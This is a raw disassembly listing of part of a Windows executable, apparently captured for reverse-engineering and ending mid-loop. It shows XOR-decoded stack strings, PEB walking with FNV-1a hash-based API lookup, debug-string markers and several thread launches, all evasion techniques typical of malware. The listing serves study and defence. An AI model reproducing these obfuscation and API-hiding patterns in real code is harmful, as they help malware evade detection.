mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x4ac], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x170]
mov dword [ebp - 0x4a8], eax
lea eax, [ebp - 0x7f8]
mov dword [ebp - 0x4a4], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x4b0]
movaps xmmword [ebp - 0x170], xmm1
mov dword [ebp - 0x3c], eax
call fcn.004101a0
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0x170]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4ab673
sub ecx, edx
lea eax, [ebp - 0x170]
push ecx
push eax
lea ecx, [ebp - 0x7f8]
call fcn.004100e0
mov byte [ebp - 4], 0x6a
lea eax, [ebp - 0x7e0]
lea ecx, [ebp - 0x8d0]
push eax
push ecx
lea ecx, [ebp - 0x968]
call fcn.004ad9e0
mov byte [ebp - 4], 0x6c
lea eax, [ebp - 0x8d0]
push fcn.0040fce0
push 0xa
push 0x18
push eax
call fcn.0050d4f5
lea eax, [ebp - 0x398]
push eax
lea ecx, [ebp - 0x968]
call fcn.004b5ff0
test eax, eax
je 0x4ab824
mov dword [ebp - 0x28], 0x30108841
mov dword [ebp - 0x24], 0x634160e2
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], ecx
mov dword [ebp - 0x28], 0xff2e3451
mov dword [ebp - 0x24], 0xdb69c057
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x354], ecx
mov dword [ebp - 0x28], 0x21a81ee2
mov dword [ebp - 0x24], 0x97b66a6a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x34c], ecx
mov dword [ebp - 0x28], 0x5daaa48a
mov dword [ebp - 0x24], 0xeb786327
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x620], eax
mov dword [ebp - 0x61c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x614], ecx
mov dword [ebp - 0x28], 0x21a86d91
mov dword [ebp - 0x24], 0x97b66a6a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x60c], ecx
mov dword [ebp - 0x28], 0x5daaa48a
mov dword [ebp - 0x24], 0xeb786327
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x360]
mov dword [ebp - 0x608], eax
mov dword [ebp - 0x604], ecx
vpxor ymm0, ymm0, ymmword [ebp - 0x620]
vmovdqa ymmword [ebp - 0x360], ymm0
push 0x570618
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x360]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4ab824
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.5445dfg
call esi
call fcn.004386a0
call fcn.00438740
call fcn.004387e0
call fcn.00438880
cmp byte [0x593060], 1
jne 0x4abf8e
mov dword [ebp - 0x28], 0x37258e68
mov dword [ebp - 0x24], 0x7f4b7ecf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], ecx
mov dword [ebp - 0x28], 0xaf252555
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4b8], eax
lea eax, [ebp - 0x200]
mov dword [ebp - 0x4b4], ecx
mov ecx, 0x593060
movaps xmm1, xmmword [ebp - 0x4c0]
pxor xmm1, xmmword [ebp - 0x200]
push eax
movaps xmmword [ebp - 0x200], xmm1
call fcn.004b55b0
lea edx, [ebp - 0x5e]
mov ecx, eax
call fcn.004c6e60
mov al, byte [ebp - 0x5e]
mov byte [0x590b3b], al
mov dword [ebp - 0x28], 0x37258e68
mov dword [ebp - 0x24], 0xd4f79cf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x204], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4d0], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x4cc], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4c8], eax
lea eax, [ebp - 0x210]
mov dword [ebp - 0x4c4], ecx
mov ecx, 0x593060
movaps xmm1, xmmword [ebp - 0x4d0]
pxor xmm1, xmmword [ebp - 0x210]
push eax
movaps xmmword [ebp - 0x210], xmm1
call fcn.004b55b0
lea edx, [ebp - 0x5f]
mov ecx, eax
call fcn.004c6e60
mov al, byte [ebp - 0x5f]
mov byte [0x590b55], al
mov dword [ebp - 0x28], 0x37258e68
mov dword [ebp - 0x24], 0xd5b69cf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x4dc], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x220]
mov dword [ebp - 0x4d8], eax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x4d4], ecx
mov ecx, 0x593060
pxor xmm1, xmmword [ebp - 0x4e0]
push eax
movaps xmmword [ebp - 0x220], xmm1
call fcn.004b55b0
lea edx, [ebp - 0x60]
mov ecx, eax
call fcn.004c6e60
mov al, byte [ebp - 0x60]
mov byte [0x590b3a], al
mov dword [ebp - 0x28], 0x37258e68
mov dword [ebp - 0x24], 0x61497acf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x28], 0xdc3f255c
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x4ec], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4e8], eax
lea eax, [ebp - 0x230]
mov dword [ebp - 0x4e4], ecx
mov ecx, 0x593060
movaps xmm1, xmmword [ebp - 0x4f0]
pxor xmm1, xmmword [ebp - 0x230]
push eax
movaps xmmword [ebp - 0x230], xmm1
call fcn.004b55b0
lea edx, [ebp - 0x61]
mov ecx, eax
call fcn.004c6e60
mov al, byte [ebp - 0x61]
mov byte [0x590b39], al
mov dword [ebp - 0x28], 0x37258e68
mov dword [ebp - 0x24], 0x644064cf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0x28], 0xdd243443
mov dword [ebp - 0x24], 0xbe0aaf5c
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x4fc], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0x4f8], eax
lea eax, [ebp - 0x240]
mov dword [ebp - 0x4f4], ecx
mov ecx, 0x593060
pxor xmm1, xmmword [ebp - 0x500]
push eax
movaps xmmword [ebp - 0x240], xmm1
call fcn.004b55b0
lea edx, [ebp - 0x62]
mov ecx, eax
call fcn.004c6e60
mov al, byte [ebp - 0x62]
mov byte [0x590b54], al
mov dword [ebp - 0x28], 0x37258e68
mov dword [ebp - 0x24], 0x7d5c6bcf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x24c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x244], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x510], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x250]
mov dword [ebp - 0x508], eax
lea eax, [ebp - 0x250]
mov dword [ebp - 0x504], ecx
mov ecx, 0x593060
pxor xmm1, xmmword [ebp - 0x510]
push eax
movaps xmmword [ebp - 0x250], xmm1
call fcn.004b55b0
lea edx, [ebp - 0x63]
mov ecx, eax
call fcn.004c6e60
mov al, byte [ebp - 0x63]
mov byte [0x590b56], al
mov dword [ebp - 0x28], 0x37258e68
mov dword [ebp - 0x24], 0x60496acf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x28], 0xaf4b3355
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x254], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x51c], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x518], eax
mov dword [ebp - 0x514], ecx
movaps xmm1, xmmword [ebp - 0x520]
pxor xmm1, xmmword [ebp - 0x260]
movaps xmmword [ebp - 0x260], xmm1
lea eax, [ebp - 0x260]
mov ecx, 0x593060
push eax
call fcn.004b55b0
lea edx, [ebp - 0x64]
mov ecx, eax
call fcn.004c6e60
mov al, byte [ebp - 0x64]
mov byte [0x590b38], al
mov dword [ebp - 0x28], 0x37258e68
mov dword [ebp - 0x24], 0x7e4d60cf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x28], 0xc8252543
mov dword [ebp - 0x24], 0xbe79dd40
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x52c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x528], eax
lea eax, [ebp - 0x270]
mov dword [ebp - 0x524], ecx
mov ecx, 0x593060
movaps xmm1, xmmword [ebp - 0x530]
pxor xmm1, xmmword [ebp - 0x270]
push eax
movaps xmmword [ebp - 0x270], xmm1
call fcn.004b55b0
lea edx, [ebp - 0x65]
mov ecx, eax
call fcn.004c6e60
mov al, byte [ebp - 0x65]
mov byte [0x590b58], al
mov dword [ebp - 0x28], 0x37258e68
mov dword [ebp - 0x24], 0x63587bcf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x540], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x53c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x538], eax
lea eax, [ebp - 0x280]
mov dword [ebp - 0x534], ecx
mov ecx, 0x593060
movaps xmm1, xmmword [ebp - 0x540]
pxor xmm1, xmmword [ebp - 0x280]
push eax
movaps xmmword [ebp - 0x280], xmm1
call fcn.004b55b0
lea edx, [ebp - 0x66]
mov ecx, eax
call fcn.004c6e60
mov al, byte [ebp - 0x66]
mov byte [0x590b57], al
mov dword [ebp - 0x28], 0xa218f7a
mov dword [ebp - 0x24], 0x6e467bf8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x550], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x54c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x548], eax
lea eax, [ebp - 0x290]
mov dword [ebp - 0x544], ecx
mov ecx, 0x593060
movaps xmm1, xmmword [ebp - 0x550]
pxor xmm1, xmmword [ebp - 0x290]
push eax
movaps xmmword [ebp - 0x290], xmm1
call fcn.004b55b0
lea edx, [ebp - 0x67]
mov ecx, eax
call fcn.004c6e60
mov al, byte [ebp - 0x67]
mov byte [0x592f56], al
jmp 0x4abf93
mov al, byte [0x592f56]
cmp byte [0x592f57], 0
jne 0x4ad4bc
call fcn.0047ac70
call fcn.00481050
push str.5yh45
call esi
mov ecx, 0x593018
call fcn.004adf70
mov ecx, 0x5930ac
call fcn.004adf70
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4823e0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x485470
push 0
push 0
mov dword [ebp - 0x58], eax
call esi
push 0
push 0
push 0
push 0x4987d0
push 0
push 0
mov dword [ebp - 0x5c], eax
call esi
mov dword [ebp - 0x70], eax
call fcn.00462170
test al, al
je 0x4ac204
lea ecx, [ebp - 0x6f8]
call fcn.004627f0
mov esi, eax
mov byte [ebp - 4], 0x6d
mov dword [ebp - 0x28], 0x3c239363
mov dword [ebp - 0x24], 0xd287efe
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x2a0], ecx
mov dword [ebp - 0x29c], edx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x560], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x55c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x558], eax
lea eax, [ebp - 0x2a0]
mov dword [ebp - 0x554], ecx
mov ecx, esi
movaps xmm1, xmmword [ebp - 0x560]
pxor xmm1, xmmword [ebp - 0x2a0]
push eax
movaps xmmword [ebp - 0x2a0], xmm1
call fcn.004b55b0
push eax
lea ecx, [ebp - 0xa0]
call fcn.004aeaa0
mov byte [ebp - 4], 0x6e
mov dword [ebp - 0x28], 0x39319d59
mov dword [ebp - 0x24], 0x486152e4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x56c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2b0]
mov dword [ebp - 0x568], eax
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x564], ecx
mov ecx, 0x5930c8
pxor xmm1, xmmword [ebp - 0x570]
push eax
movaps xmmword [ebp - 0x2b0], xmm1
call fcn.004b55b0
mov edi, eax
mov byte [ebp - 4], 0x6f
mov dl, byte [edi]
mov cl, byte [ebp - 0xa0]
mov byte [edi], cl
mov byte [ebp - 0xa0], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x98], edx
mov dword [ebp - 0x94], esi
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0x98]
push dword [ebp - 0xa0]
call fcn.004b2480
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x6f0]
push dword [ebp - 0x6f8]
call fcn.004b2480
cmp byte [0x592f55], 0
je 0x4ac204
mov eax, dword [0x592f40]
test eax, eax
je 0x4ac1fd
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov byte [0x592f55], 0
lea ecx, [ebp - 0x708]
call fcn.00464690
mov esi, eax
mov byte [ebp - 4], 0x70
mov dword [ebp - 0x28], 0x3c239363
mov dword [ebp - 0x24], 0xd287efe
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x2c0], ecx
mov dword [ebp - 0x2bc], edx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x580], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x57c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x578], eax
lea eax, [ebp - 0x2c0]
mov dword [ebp - 0x574], ecx
mov ecx, esi
movaps xmm1, xmmword [ebp - 0x580]
pxor xmm1, xmmword [ebp - 0x2c0]
push eax
movaps xmmword [ebp - 0x2c0], xmm1
call fcn.004b55b0
push eax
lea ecx, [ebp - 0xb0]
call fcn.004aeaa0
mov byte [ebp - 4], 0x71
mov dword [ebp - 0x28], 0x312a9558
mov dword [ebp - 0x24], 0x4e5b7aff
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0x28], 0xca2f2542
mov dword [ebp - 0x24], 0xdf63db4b
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x374], ecx
mov dword [ebp - 0x28], 0x21a81efd
mov dword [ebp - 0x24], 0x97b66a6a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x28], 0x5daaa48a
mov dword [ebp - 0x24], 0xeb786327
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x640], eax
mov dword [ebp - 0x63c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x638], eax
mov dword [ebp - 0x634], ecx
mov dword [ebp - 0x28], 0x21a86d91
mov dword [ebp - 0x24], 0x97b66a6a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x630], eax
mov dword [ebp - 0x62c], ecx
mov ecx, 0x5930c8
mov dword [ebp - 0x28], 0x5daaa48a
mov dword [ebp - 0x24], 0xeb786327
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x628], eax
lea eax, [ebp - 0x380]
mov dword [ebp - 0x624], edx
vmovdqu ymm0, ymmword [ebp - 0x640]
vpxor ymm0, ymm0, ymmword [ebp - 0x380]
vmovdqa ymmword [ebp - 0x380], ymm0
push eax
vzeroupper
call fcn.004b55b0
mov edi, eax
mov byte [ebp - 4], 0x72
mov dl, byte [edi]
mov cl, byte [ebp - 0xb0]
mov byte [edi], cl
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
mov byte [ebp - 0xb0], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0xa8], edx
mov dword [ebp - 0xa4], esi
mov byte [ebp - 4], 0x70
lea ecx, [ebp - 0xa8]
push dword [ebp - 0xb0]
call fcn.004b2480
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x700]
push dword [ebp - 0x708]
call fcn.004b2480
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4ac4d7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4ac4d7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4ac4cd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4ac4b0
cmp esi, 0x71948ca4
je 0x4ac4db
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4ac495
mov eax, dword [eax]
jmp 0x4ac465
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push 0x493e0
push dword [ebp - 0x58]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x5b
push 0x776efd23
call fcn.00416570
add esp, 8
push eax
push dword [ebp - 0x5c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4ac597
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4ac597
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4ac58d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4ac570
cmp esi, 0x71948ca4
je 0x4ac59b
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4ac553
mov eax, dword [eax]
jmp 0x4ac523
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push 0x493e0
push dword [ebp - 0x70]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4ac63f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4ac63f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4ac635
movsx ecx, cl
